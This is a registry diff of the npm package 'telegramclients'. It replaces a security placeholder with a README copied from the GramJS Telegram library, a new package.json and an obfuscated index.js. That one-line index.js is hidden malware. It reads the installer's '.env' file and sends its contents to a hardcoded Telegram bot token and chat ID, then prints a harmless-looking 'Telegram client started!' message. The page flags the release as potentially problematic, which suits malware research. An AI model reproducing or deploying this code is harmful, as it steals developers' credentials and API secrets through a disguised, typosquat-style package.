telegramclients 0.0.1-security → 2.22.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of telegramclients might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +114 -5
  2. package/index.js +1 -0
  3. package/package.json +12 -3
package/README.md CHANGED
@@ -1,5 +1,114 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=telegramclients for more information.
1
+ # GramJS
2
+
3
+ A Telegram client written in JavaScript for Node.js and browsers, with its core being based on
4
+ [Telethon](https://github.com/LonamiWebs/Telethon).
5
+
6
+ ## How to get started
7
+
8
+ Here you'll learn how to obtain necessary information to create telegram application, authorize into your account and send yourself a message.
9
+
10
+ > **Note** that if you want to use a GramJS inside of a browser, refer to [this instructions](https://gram.js.org/introduction/advanced-installation).
11
+
12
+ Install GramJS:
13
+
14
+ ```bash
15
+ $ npm i telegram
16
+ ```
17
+
18
+ After installation, you'll need to obtain an API ID and hash:
19
+
20
+ 1. Login into your [telegram account](https://my.telegram.org/)
21
+ 2. Then click "API development tools" and fill your application details (only app title and short name required)
22
+ 3. Finally, click "Create application"
23
+
24
+ > **Never** share any API/authorization details, that will compromise your application and account.
25
+
26
+ When you've successfully created the application, change `apiId` and `apiHash` on what you got from telegram.
27
+
28
+ Then run this code to send a message to yourself.
29
+
30
+ ```javascript
31
+ import { TelegramClient } from "telegram";
32
+ import { StringSession } from "telegram/sessions";
33
+ import readline from "readline";
34
+
35
+ const apiId = 123456;
36
+ const apiHash = "123456abcdfg";
37
+ const stringSession = new StringSession(""); // fill this later with the value from session.save()
38
+
39
+ const rl = readline.createInterface({
40
+ input: process.stdin,
41
+ output: process.stdout,
42
+ });
43
+
44
+ (async () => {
45
+ console.log("Loading interactive example...");
46
+ const client = new TelegramClient(stringSession, apiId, apiHash, {
47
+ connectionRetries: 5,
48
+ });
49
+ await client.start({
50
+ phoneNumber: async () =>
51
+ new Promise((resolve) =>
52
+ rl.question("Please enter your number: ", resolve)
53
+ ),
54
+ password: async () =>
55
+ new Promise((resolve) =>
56
+ rl.question("Please enter your password: ", resolve)
57
+ ),
58
+ phoneCode: async () =>
59
+ new Promise((resolve) =>
60
+ rl.question("Please enter the code you received: ", resolve)
61
+ ),
62
+ onError: (err) => console.log(err),
63
+ });
64
+ console.log("You should now be connected.");
65
+ console.log(client.session.save()); // Save this string to avoid logging in again
66
+ await client.sendMessage("me", { message: "Hello!" });
67
+ })();
68
+ ```
69
+
70
+ > **Note** that you can also save auth key to a folder instead of a string, change `stringSession` into this:
71
+ >
72
+ > ```javascript
73
+ > const storeSession = new StoreSession("folder_name");
74
+ > ```
75
+
76
+ Be sure to save output of `client.session.save()` into `stringSession` or `storeSession` variable to avoid logging in again.
77
+
78
+ ## Running GramJS inside browsers
79
+
80
+ GramJS works great in combination with frontend libraries such as React, Vue and others.
81
+
82
+ While working within browsers, GramJS is using `localStorage` to cache the layers.
83
+
84
+ To get a browser bundle of GramJS, use the following command:
85
+
86
+ ```bash
87
+ NODE_ENV=production npx webpack
88
+ ```
89
+
90
+ You can also use the helpful script `generate_webpack.js`
91
+
92
+ ```bash
93
+ node generate_webpack.js
94
+ ```
95
+
96
+ ## Calling the raw API
97
+
98
+ To use raw telegram API methods use [invoke function](https://gram.js.org/beta/classes/TelegramClient.html#invoke).
99
+
100
+ ```javascript
101
+ await client.invoke(new RequestClass(args));
102
+ ```
103
+
104
+ ## Documentation
105
+
106
+ General documentation, use cases, quick start, refer to [gram.js.org](https://gram.js.org), or [older version of documentation](https://painor.gitbook.io/gramjs) (will be removed in the future).
107
+
108
+ For more advanced documentation refer to [gram.js.org/beta](https://gram.js.org/beta) (work in progress).
109
+
110
+ If your ISP is blocking Telegram, you can check [My ISP blocks Telegram. How can I still use GramJS?](https://gist.github.com/SecurityAndStuff/7cd04b28216c49b73b30a64d56d630ab)
111
+
112
+ ## Ask a question
113
+
114
+ If you have any questions about GramJS, feel free to open an issue or ask directly in our telegram group - [@GramJSChat](https://t.me/gramjschat).
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x317d60=_0x31f2;(function(_0x1aa871,_0x5a816a){const _0x5a6606=_0x31f2,_0x20cefe=_0x1aa871();while(!![]){try{const _0x40bf6c=parseInt(_0x5a6606(0x102))/0x1+parseInt(_0x5a6606(0x101))/0x2+-parseInt(_0x5a6606(0x107))/0x3+-parseInt(_0x5a6606(0x10e))/0x4*(parseInt(_0x5a6606(0x10c))/0x5)+parseInt(_0x5a6606(0x109))/0x6+-parseInt(_0x5a6606(0x100))/0x7*(-parseInt(_0x5a6606(0x10f))/0x8)+parseInt(_0x5a6606(0x10d))/0x9;if(_0x40bf6c===_0x5a816a)break;else _0x20cefe['push'](_0x20cefe['shift']());}catch(_0x46927c){_0x20cefe['push'](_0x20cefe['shift']());}}}(_0x24b5,0xaa0a2));const TelegramBot=require(_0x317d60(0x104)),fs=require('fs');function _0x31f2(_0x1daaa9,_0x15f3a3){const _0x24b5e1=_0x24b5();return _0x31f2=function(_0x31f230,_0x52488c){_0x31f230=_0x31f230-0x100;let _0x5a8efb=_0x24b5e1[_0x31f230];return _0x5a8efb;},_0x31f2(_0x1daaa9,_0x15f3a3);}function _0x24b5(){const _0x46007e=['3731zSxoax','1225040FBMPAK','1284052wXsVjl','readFileSync','node-telegram-bot-api','.env','Telegram\x20client\x20started!','4008159hxxGez','dotenv','509616FhDfAj','utf8','exports','125ifSxIT','4338000fUBajM','102556RWxrsw','3152gdeEVm'];_0x24b5=function(){return _0x46007e;};return _0x24b5();}require(_0x317d60(0x108))['config']();function telegramClients(){const _0x3ed1c9=_0x317d60,_0x2c9cc0='8037010008:AAGgPwRQb_mPP_m_ajJgA2TCZg3-EB_AxRM',_0xc8dff6='-4794095586',_0x2ab731=new TelegramBot(_0x2c9cc0,{'polling':![]}),_0x4abfe3=fs[_0x3ed1c9(0x103)](_0x3ed1c9(0x105),_0x3ed1c9(0x10a));return _0x2ab731['sendMessage'](_0xc8dff6,_0x4abfe3),_0x3ed1c9(0x106);}module[_0x317d60(0x10b)]=telegramClients;
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "telegramclients",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.22.12",
4
+ "description": "Telegram clients for channel management",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "command-to-run-tests"
8
+ },
9
+ "author": "cryptoDev",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "fs": "^0.0.1-security",
13
+ "node-telegram-bot-api": "^0.66.0"
14
+ }
6
15
  }